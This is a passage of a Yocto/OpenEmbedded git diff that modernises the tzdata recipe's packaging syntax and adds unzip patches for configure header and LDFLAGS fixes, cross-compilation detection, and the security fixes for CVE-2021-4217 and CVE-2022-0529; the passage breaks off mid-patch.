src="$D${sysconfdir}/timezone"
- if [ -e ${src} ] ; then
- tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "${src}")
+ if [ -e "$src" ]; then
+ tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "$src")
fi
- if [ ! -z "${tz}" -a ! -e "$D${datadir}/zoneinfo/${tz}" ] ; then
- echo "You have an invalid TIMEZONE setting in ${src}"
- echo "Your ${etc_lt} has been reset to Universal; enjoy!"
+ if [ ! -z "$tz" -a ! -e "$D${datadir}/zoneinfo/$tz" ]; then
+ echo "You have an invalid TIMEZONE setting in $src"
+ echo "Your $etc_lt has been reset to Universal; enjoy!"
tz="Universal"
- echo "Updating ${etc_lt} with $D${datadir}/zoneinfo/${tz}"
- if [ -L ${etc_lt} ] ; then
- rm -f "${etc_lt}"
+ echo "Updating $etc_lt with $D${datadir}/zoneinfo/$tz"
+ if [ -L "$etc_lt" ]; then
+ rm -f "$etc_lt"
fi
- ln -s "${datadir}/zoneinfo/${tz}" "${etc_lt}"
+ ln -s "${datadir}/zoneinfo/$tz" "$etc_lt"
fi
}
-# Packages primarily organized by directory with a major city
-# in most time zones in the base package
-
+# Packages are primarily organized by directory with a major city in most time
+# zones in the base package
TZ_PACKAGES = " \
tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \
tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \
- tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific"
+ tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific \
+"
PACKAGES = "${TZ_PACKAGES} ${PN}"
-FILES_tzdata-africa += "${datadir}/zoneinfo/Africa/*"
-RPROVIDES_tzdata-africa = "tzdata-africa"
-
-FILES_tzdata-americas += "${datadir}/zoneinfo/America/* \
- ${datadir}/zoneinfo/US/* \
- ${datadir}/zoneinfo/Brazil/* \
- ${datadir}/zoneinfo/Canada/* \
- ${datadir}/zoneinfo/Mexico/* \
- ${datadir}/zoneinfo/Chile/*"
-RPROVIDES_tzdata-americas = "tzdata-americas"
-
-FILES_tzdata-antarctica += "${datadir}/zoneinfo/Antarctica/*"
-RPROVIDES_tzdata-antarctica = "tzdata-antarctica"
-
-FILES_tzdata-arctic += "${datadir}/zoneinfo/Arctic/*"
-RPROVIDES_tzdata-arctic = "tzdata-arctic"
-
-FILES_tzdata-asia += "${datadir}/zoneinfo/Asia/* \
- ${datadir}/zoneinfo/Indian/* \
- ${datadir}/zoneinfo/Mideast/*"
-RPROVIDES_tzdata-asia = "tzdata-asia"
-
-FILES_tzdata-atlantic += "${datadir}/zoneinfo/Atlantic/*"
-RPROVIDES_tzdata-atlantic = "tzdata-atlantic"
-
-FILES_tzdata-australia += "${datadir}/zoneinfo/Australia/*"
-RPROVIDES_tzdata-australia = "tzdata-australia"
-
-FILES_tzdata-europe += "${datadir}/zoneinfo/Europe/*"
-RPROVIDES_tzdata-europe = "tzdata-europe"
-
-FILES_tzdata-pacific += "${datadir}/zoneinfo/Pacific/*"
-RPROVIDES_tzdata-pacific = "tzdata-pacific"
-
-FILES_tzdata-posix += "${datadir}/zoneinfo/posix/*"
-RPROVIDES_tzdata-posix = "tzdata-posix"
-
-FILES_tzdata-right += "${datadir}/zoneinfo/right/*"
-RPROVIDES_tzdata-right = "tzdata-right"
-
-FILES_tzdata-misc += "${datadir}/zoneinfo/Cuba \
- ${datadir}/zoneinfo/Egypt \
- ${datadir}/zoneinfo/Eire \
- ${datadir}/zoneinfo/Factory \
- ${datadir}/zoneinfo/GB-Eire \
- ${datadir}/zoneinfo/Hongkong \
- ${datadir}/zoneinfo/Iceland \
- ${datadir}/zoneinfo/Iran \
- ${datadir}/zoneinfo/Israel \
- ${datadir}/zoneinfo/Jamaica \
- ${datadir}/zoneinfo/Japan \
- ${datadir}/zoneinfo/Kwajalein \
- ${datadir}/zoneinfo/Libya \
- ${datadir}/zoneinfo/Navajo \
- ${datadir}/zoneinfo/Poland \
- ${datadir}/zoneinfo/Portugal \
- ${datadir}/zoneinfo/Singapore \
- ${datadir}/zoneinfo/Turkey"
-RPROVIDES_tzdata-misc = "tzdata-misc"
-
-FILES_tzdata-core += " \
- ${sysconfdir}/localtime \
- ${sysconfdir}/timezone \
- ${datadir}/zoneinfo/Pacific/Honolulu \
- ${datadir}/zoneinfo/America/Anchorage \
- ${datadir}/zoneinfo/America/Los_Angeles \
- ${datadir}/zoneinfo/America/Denver \
- ${datadir}/zoneinfo/America/Chicago \
- ${datadir}/zoneinfo/America/New_York \
- ${datadir}/zoneinfo/America/Caracas \
- ${datadir}/zoneinfo/America/Sao_Paulo \
- ${datadir}/zoneinfo/Europe/London \
- ${datadir}/zoneinfo/Europe/Paris \
- ${datadir}/zoneinfo/Africa/Cairo \
- ${datadir}/zoneinfo/Europe/Moscow \
- ${datadir}/zoneinfo/Asia/Dubai \
- ${datadir}/zoneinfo/Asia/Karachi \
- ${datadir}/zoneinfo/Asia/Dhaka \
- ${datadir}/zoneinfo/Asia/Bangkok \
- ${datadir}/zoneinfo/Asia/Hong_Kong \
- ${datadir}/zoneinfo/Asia/Tokyo \
- ${datadir}/zoneinfo/Australia/Darwin \
- ${datadir}/zoneinfo/Australia/Adelaide \
- ${datadir}/zoneinfo/Australia/Brisbane \
- ${datadir}/zoneinfo/Australia/Sydney \
- ${datadir}/zoneinfo/Pacific/Noumea \
- ${datadir}/zoneinfo/CET \
- ${datadir}/zoneinfo/CST6CDT \
- ${datadir}/zoneinfo/EET \
- ${datadir}/zoneinfo/EST \
- ${datadir}/zoneinfo/EST5EDT \
- ${datadir}/zoneinfo/GB \
- ${datadir}/zoneinfo/GMT \
- ${datadir}/zoneinfo/GMT+0 \
- ${datadir}/zoneinfo/GMT-0 \
- ${datadir}/zoneinfo/GMT0 \
- ${datadir}/zoneinfo/Greenwich \
- ${datadir}/zoneinfo/HST \
- ${datadir}/zoneinfo/MET \
- ${datadir}/zoneinfo/MST \
- ${datadir}/zoneinfo/MST7MDT \
- ${datadir}/zoneinfo/NZ \
- ${datadir}/zoneinfo/NZ-CHAT \
- ${datadir}/zoneinfo/PRC \
- ${datadir}/zoneinfo/PST8PDT \
- ${datadir}/zoneinfo/ROC \
- ${datadir}/zoneinfo/ROK \
- ${datadir}/zoneinfo/UCT \
- ${datadir}/zoneinfo/UTC \
- ${datadir}/zoneinfo/Universal \
- ${datadir}/zoneinfo/W-SU \
- ${datadir}/zoneinfo/WET \
- ${datadir}/zoneinfo/Zulu \
- ${datadir}/zoneinfo/zone.tab \
- ${datadir}/zoneinfo/zone1970.tab \
- ${datadir}/zoneinfo/iso3166.tab \
- ${datadir}/zoneinfo/Etc/*"
-
-CONFFILES_tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
-
-ALLOW_EMPTY_${PN} = "1"
-RDEPENDS_${PN} = "${TZ_PACKAGES}"
+FILES:tzdata-africa += "${datadir}/zoneinfo/Africa"
+
+FILES:tzdata-americas += " \
+ ${datadir}/zoneinfo/America \
+ ${datadir}/zoneinfo/US \
+ ${datadir}/zoneinfo/Brazil \
+ ${datadir}/zoneinfo/Canada \
+ ${datadir}/zoneinfo/Mexico \
+ ${datadir}/zoneinfo/Chile \
+"
+
+FILES:tzdata-antarctica += "${datadir}/zoneinfo/Antarctica"
+
+FILES:tzdata-arctic += "${datadir}/zoneinfo/Arctic"
+
+FILES:tzdata-asia += " \
+ ${datadir}/zoneinfo/Asia \
+ ${datadir}/zoneinfo/Indian \
+ ${datadir}/zoneinfo/Mideast \
+"
+
+FILES:tzdata-atlantic += "${datadir}/zoneinfo/Atlantic"
+
+FILES:tzdata-australia += "${datadir}/zoneinfo/Australia"
+
+FILES:tzdata-europe += "${datadir}/zoneinfo/Europe"
+
+FILES:tzdata-pacific += "${datadir}/zoneinfo/Pacific"
+
+FILES:tzdata-posix += "${datadir}/zoneinfo/posix"
+
+FILES:tzdata-right += "${datadir}/zoneinfo/right"
+
+FILES:tzdata-misc += " \
+ ${datadir}/zoneinfo/Cuba \
+ ${datadir}/zoneinfo/Egypt \
+ ${datadir}/zoneinfo/Eire \
+ ${datadir}/zoneinfo/Factory \
+ ${datadir}/zoneinfo/GB-Eire \
+ ${datadir}/zoneinfo/Hongkong \
+ ${datadir}/zoneinfo/Iceland \
+ ${datadir}/zoneinfo/Iran \
+ ${datadir}/zoneinfo/Israel \
+ ${datadir}/zoneinfo/Jamaica \
+ ${datadir}/zoneinfo/Japan \
+ ${datadir}/zoneinfo/Kwajalein \
+ ${datadir}/zoneinfo/Libya \
+ ${datadir}/zoneinfo/Navajo \
+ ${datadir}/zoneinfo/Poland \
+ ${datadir}/zoneinfo/Portugal \
+ ${datadir}/zoneinfo/Singapore \
+ ${datadir}/zoneinfo/Turkey \
+"
+
+FILES:tzdata-core += " \
+ ${sysconfdir}/localtime \
+ ${sysconfdir}/timezone \
+ ${datadir}/zoneinfo/leapseconds \
+ ${datadir}/zoneinfo/leap-seconds.list \
+ ${datadir}/zoneinfo/Pacific/Honolulu \
+ ${datadir}/zoneinfo/America/Anchorage \
+ ${datadir}/zoneinfo/America/Los_Angeles \
+ ${datadir}/zoneinfo/America/Denver \
+ ${datadir}/zoneinfo/America/Chicago \
+ ${datadir}/zoneinfo/America/New_York \
+ ${datadir}/zoneinfo/America/Caracas \
+ ${datadir}/zoneinfo/America/Sao_Paulo \
+ ${datadir}/zoneinfo/Europe/London \
+ ${datadir}/zoneinfo/Europe/Paris \
+ ${datadir}/zoneinfo/Africa/Cairo \
+ ${datadir}/zoneinfo/Europe/Moscow \
+ ${datadir}/zoneinfo/Asia/Dubai \
+ ${datadir}/zoneinfo/Asia/Karachi \
+ ${datadir}/zoneinfo/Asia/Dhaka \
+ ${datadir}/zoneinfo/Asia/Bangkok \
+ ${datadir}/zoneinfo/Asia/Hong_Kong \
+ ${datadir}/zoneinfo/Asia/Tokyo \
+ ${datadir}/zoneinfo/Australia/Darwin \
+ ${datadir}/zoneinfo/Australia/Adelaide \
+ ${datadir}/zoneinfo/Australia/Brisbane \
+ ${datadir}/zoneinfo/Australia/Sydney \
+ ${datadir}/zoneinfo/Pacific/Noumea \
+ ${datadir}/zoneinfo/CET \
+ ${datadir}/zoneinfo/CST6CDT \
+ ${datadir}/zoneinfo/EET \
+ ${datadir}/zoneinfo/EST \
+ ${datadir}/zoneinfo/EST5EDT \
+ ${datadir}/zoneinfo/GB \
+ ${datadir}/zoneinfo/GMT \
+ ${datadir}/zoneinfo/GMT+0 \
+ ${datadir}/zoneinfo/GMT-0 \
+ ${datadir}/zoneinfo/GMT0 \
+ ${datadir}/zoneinfo/Greenwich \
+ ${datadir}/zoneinfo/HST \
+ ${datadir}/zoneinfo/MET \
+ ${datadir}/zoneinfo/MST \
+ ${datadir}/zoneinfo/MST7MDT \
+ ${datadir}/zoneinfo/NZ \
+ ${datadir}/zoneinfo/NZ-CHAT \
+ ${datadir}/zoneinfo/PRC \
+ ${datadir}/zoneinfo/PST8PDT \
+ ${datadir}/zoneinfo/ROC \
+ ${datadir}/zoneinfo/ROK \
+ ${datadir}/zoneinfo/UCT \
+ ${datadir}/zoneinfo/UTC \
+ ${datadir}/zoneinfo/Universal \
+ ${datadir}/zoneinfo/W-SU \
+ ${datadir}/zoneinfo/WET \
+ ${datadir}/zoneinfo/Zulu \
+ ${datadir}/zoneinfo/zone.tab \
+ ${datadir}/zoneinfo/zone1970.tab \
+ ${datadir}/zoneinfo/iso3166.tab \
+ ${datadir}/zoneinfo/Etc \
+"
+
+CONFFILES:tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
+
+ALLOW_EMPTY:${PN} = "1"
+
+RDEPENDS:${PN} = "${TZ_PACKAGES}"
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
new file mode 100644
index 0000000000..f7e0854cd9
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
@@ -0,0 +1,112 @@
+From 5ac5885d35257888d0e4a9dda903405314f9fc84 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:53:13 -0700
+Subject: [PATCH] configure: Add correct system headers and prototypes to tests
+
+Newer compilers e.g. clang-15+ have turned stricter towards these
+warnings and turned them into errors which results in subtle failures
+during build, therefore make the testcases use the needed headers and
+modern C
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 51 +++++++++++++++++++++++++++++++++++++++-----------
+ 1 file changed, 40 insertions(+), 11 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 49579f3..8fd82dd 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -379,14 +379,37 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+
+ # Check for missing functions
+ # add NO_'function_name' to flags if missing
+-for func in fchmod fchown lchown nl_langinfo
+-do
+- echo Check for $func
+- echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+- [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+-done
++echo Check for fchmod
++cat > conftest.c << _EOF_
++#include <sys/stat.h>
++int main(){ fchmod(0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHMOD"
+
++echo Check for fchown
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ fchown(0,0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHOWN"
++
++echo Check for lchown
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ lchown(NULL,0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHOWN"
++
++echo Check for nl_langinfo
++cat > conftest.c << _EOF_
++#include <langinfo.h>
++int main(){ nl_langinfo(0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_NL_LANGINFO"
+ # Check (seriously) for a working lchmod.
+ echo 'Check for lchmod'
+ temp_file="/tmp/unzip_test_$$"
+@@ -401,14 +424,17 @@ ln -s "${temp_link}" "${temp_file}" && \
+ rm -f "${temp_file}"
+
+ echo Check for memset
+-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ char k; memset(&k,0,0); return 0; }
++_EOF_
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
+
+ echo Check for errno declaration
+ cat > conftest.c << _EOF_
+ #include <errno.h>
+-main()
++int main()
+ {
+ errno = 0;
+ return 0;
+@@ -419,6 +445,8 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+
+ echo Check for directory libraries
+ cat > conftest.c << _EOF_
++#include <sys/types.h>
++#include <dirent.h>
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+@@ -523,10 +551,11 @@ fi
+ # needed for AIX (and others ?) when mmap is used
+ echo Check for valloc
+ cat > conftest.c << _EOF_
+-main()
++#include <stdlib.h>
++int main()
+ {
+ #ifdef MMAP
+- valloc();
++ valloc(0);
+ #endif
+ }
+ _EOF_
+--
+2.37.1
+
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
new file mode 100644
index 0000000000..5a6d1946f6
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
@@ -0,0 +1,137 @@
+From da29ba6a27d8e78562052c79061476848915eb2a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Mar 2022 12:13:28 -0800
+Subject: [PATCH] configure: Pass LDFLAGS to tests doing link step
+
+Ensures that right flags from recipes are honored, otherwise tests fail
+which otherwise should not.
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 28 ++++++++++++++--------------
+ 1 file changed, 14 insertions(+), 14 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index d4b0a8e..49579f3 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -116,7 +116,7 @@ _EOF_
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+ lf='-Wl,-search_paths_first'
+- $CC $CFLAGS $lf conftest.c > /dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS $lf conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+ BZLF=${lf}
+ fi
+@@ -276,7 +276,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo -- no Large File Support
+ else
+@@ -322,7 +322,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo "-- no Unicode (wchar_t) support"
+ else
+@@ -383,7 +383,7 @@ for func in fchmod fchown lchown nl_langinfo
+ do
+ echo Check for $func
+ echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+ done
+
+@@ -395,14 +395,14 @@ temp_link="link_$$"
+ echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
+ ) > conftest.c
+ ln -s "${temp_link}" "${temp_file}" && \
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null && \
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
+ ./conftest
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
+ rm -f "${temp_file}"
+
+ echo Check for memset
+ echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
+
+ echo Check for errno declaration
+@@ -422,12 +422,12 @@ cat > conftest.c << _EOF_
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ OPT=""
+ for lib in ndir dir ucb bsd BSD PW x dirent
+ do
+- $CC -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
++ $CC $CLFAGS $LDFLAGS -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && OPT=-l$lib && break
+ done
+ if [ ${OPT} ]; then
+@@ -440,9 +440,9 @@ fi
+ # Dynix/ptx 1.3 needed this
+ echo Check for readlink
+ echo "int main(){ return readlink(); }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
+ fi
+
+@@ -501,7 +501,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC ${CFLAGS} ${CFLAGSR} -o conftest conftest.c >/dev/null 2>/dev/null
++$CC ${CFLAGS} ${CFLAGSR} $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo "-- no MBCS support"
+ CFLAGSR="${CFLAGSR} -DNO_MBCS"
+@@ -515,7 +515,7 @@ else
+ do
+ echo Check for MBCS $func
+ echo "int main() { $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -D`echo $func | tr '[a-z]' '[A-Z]'`=$func"
+ done
+ fi
+@@ -557,7 +557,7 @@ elif [ -f /xenix ]; then
+ elif uname -X >/dev/null 2>/dev/null; then
+ # SCO shared library check
+ echo "int main() { return 0;}" > conftest.c
+- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
+ [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
+ else
+ SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
+@@ -565,7 +565,7 @@ else
+ case $SYSTEM in
+ OSF1|ULTRIX)
+ echo Check for -Olimit option
+- $CC ${CFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC ${CFLAGS} ${LDFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -Olimit 1000"
+ ;;
+ ### HP-UX)
+--
+2.35.1
+
diff --git a/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
new file mode 100644
index 0000000000..2fa7f481b7
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
@@ -0,0 +1,103 @@
+From 5cbf901b5c3b6a7d1d0ed91b6df4194bb6d25a40 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Jun 2023 07:14:17 -0700
+Subject: [PATCH] unix/configure: fix detection for cross compilation
+
+We're doing cross compilation, running a cross-compiled problem
+on host to detemine feature is not correct. So we change runtime
+check into compile-time check to detect the features.
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ unix/configure | 44 +++++++++++++++-----------------------------
+ 1 file changed, 15 insertions(+), 29 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 8fd82dd..68dee98 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -259,6 +259,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
++_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
++
+ int main()
+ {
+ off_t offset;
+@@ -278,21 +282,10 @@ _EOF_
+ # compile it
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- echo -- no Large File Support
++ echo -- yes we have Large File Support!
++ CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- no Large File Support - no 64-bit off_t
+- elif [ $r -eq 2 ]; then
+- echo -- no Large File Support - no 64-bit stat
+- elif [ $r -eq 3 ]; then
+- echo -- yes we have Large File Support!
+- CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
+- else
+- echo -- no Large File Support - conftest returned $r
+- fi
++ echo -- no Large File Support
+ fi
+
+ # Added 11/24/2005 EG
+@@ -302,6 +295,11 @@ cat > conftest.c << _EOF_
+ #include <stdlib.h>
+ #include <stdio.h>
+ #include <wchar.h>
++
++#ifndef __STDC_ISO_10646__
++#error "__STDC_ISO_10646__ not defined
++#endif
++
+ int main()
+ {
+ size_t wsize;
+@@ -327,19 +325,8 @@ if [ $? -ne 0 ]; then
+ echo "-- no Unicode (wchar_t) support"
+ else
+ # have wide char support
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 0 ]; then
+- echo -- no Unicode wchar_t support - wchar_t allocation error
+- elif [ $r -eq 1 ]; then
+- echo -- no Unicode support - wchar_t encoding unspecified
+- elif [ $r -eq 2 ]; then
+- echo -- have wchar_t with known UCS encoding - enabling Unicode support!
+- CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
+- else
+- echo "-- no Unicode (wchar_t) support - conftest returned $r"
+- fi
++ echo -- have wchar_t with known UCS encoding - enabling Unicode support!
++ CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
+ fi
+
+ echo "Check for setlocale support (needed for UNICODE Native check)"
+@@ -418,8 +405,7 @@ temp_link="link_$$"
+ echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
+ ) > conftest.c
+ ln -s "${temp_link}" "${temp_file}" && \
+- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
+- ./conftest
++ $CC -Werror=implicit-function-declaration $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
+ rm -f "${temp_file}"
+
+--
+2.34.1
+
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
new file mode 100644
index 0000000000..c0103444fc
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
@@ -0,0 +1,67 @@
+From 731d698377dbd1f5b1b90efeb8094602ed59fc40 Mon Sep 17 00:00:00 2001
+From: Nils Bars <nils.bars@t-online.de>
+Date: Mon, 17 Jan 2022 16:53:16 +0000
+Subject: [PATCH] Fix null pointer dereference and use of uninitialized data
+
+This fixes a bug that causes use of uninitialized heap data if `readbuf` fails
+to read as many bytes as indicated by the extra field length attribute.
+Furthermore, this fixes a null pointer dereference if an archive contains an
+`EF_UNIPATH` extra field but does not have a filename set.
+---
+ fileio.c | 5 ++++-
+ process.c | 6 +++++-
+ 2 files changed, 9 insertions(+), 2 deletions(-)
+---
+
+Patch from:
+https://bugs.launchpad.net/ubuntu/+source/unzip/+bug/1957077
+https://launchpadlibrarian.net/580782282/0001-Fix-null-pointer-dereference-and-use-of-uninitialized-data.patch
+Regenerated to apply without offsets.
+
+CVE: CVE-2021-4217
+
+Upstream-Status: Inactive-Upstream [infozip upstream inactive]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+
+diff --git a/fileio.c b/fileio.c
+index 14460f3..1dc319e 100644
+--- a/fileio.c
++++ b/fileio.c
+@@ -2301,8 +2301,11 @@ int do_string(__G__ length, option) /* return PK-type error code */
+ seek_zipf(__G__ G.cur_zipfile_bufstart - G.extra_bytes +
+ (G.inptr-G.inbuf) + length);
+ } else {
+- if (readbuf(__G__ (char *)G.extra_field, length) == 0)
++ unsigned bytes_read = readbuf(__G__ (char *)G.extra_field, length);
++ if (bytes_read == 0)
+ return PK_EOF;
++ if (bytes_read != length)
++ return PK_ERR;
+ /* Looks like here is where extra fields are read */
+ if (getZip64Data(__G__ G.extra_field, length) != PK_COOL)
+ {
+diff --git a/process.c b/process.c
+index 5f8f6c6..de843a5 100644
+--- a/process.c
++++ b/process.c
+@@ -2058,10 +2058,14 @@ int getUnicodeData(__G__ ef_buf, ef_len)
+ G.unipath_checksum = makelong(offset + ef_buf);
+ offset += 4;
+
++ if (!G.filename_full) {
++ /* Check if we have a unicode extra section but no filename set */
++ return PK_ERR;
++ }
++
+ /*
+ * Compute 32-bit crc
+ */
+-
+ chksum = crc32(chksum, (uch *)(G.filename_full),
+ strlen(G.filename_full));
+
+--
+2.32.0
+
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
new file mode 100644
index 0000000000..1c1e120deb
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
@@ -0,0 +1,39 @@
+https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
+
+CVE: CVE-2022-0529
+Upstream-Status: Inactive-Upstream [need a new release]
+
+diff --git a/process.c b/process.c
+index d2a846e..99b9c7b 100644
+--- a/process.c
++++ b/process.c
+@@ -2507,13 +2507,15 @@ char *wide_to_local_string(wide_string, escape_all)
+ char buf[9];
+ char *buffer = NULL;
+ char *local_string = NULL;
++ size_t buffer_size;
+
+ for (wsize = 0; wide_string[wsize]; wsize++) ;
+
+ if (max_bytes < MAX_ESCAPE_BYTES)
+ max_bytes = MAX_ESCAPE_BYTES;
+
